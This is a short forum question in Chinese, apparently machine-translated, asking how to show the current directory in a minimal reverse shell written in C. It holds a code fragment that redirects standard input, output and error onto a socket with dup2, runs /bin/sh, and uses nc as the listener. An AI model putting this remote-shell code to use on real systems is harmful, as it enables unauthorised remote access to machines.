我试图在 C 中构建一个非常小的反向 shell。
连接有效,命令也被执行,但我想知道如何打印当前目录。到目前为止我的代码:
客户:
// [...]
// creating socket
// connect
void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);
execve("/bin/sh", argv, env);
}
在服务器端,我只是使用 nc 工作正常。但是当前目录并没有像往常一样打印出来。前任 如果我发送“cd [...]”,则根本没有输出。
如何将当前目录发送到服务器?
谢谢你的帮助。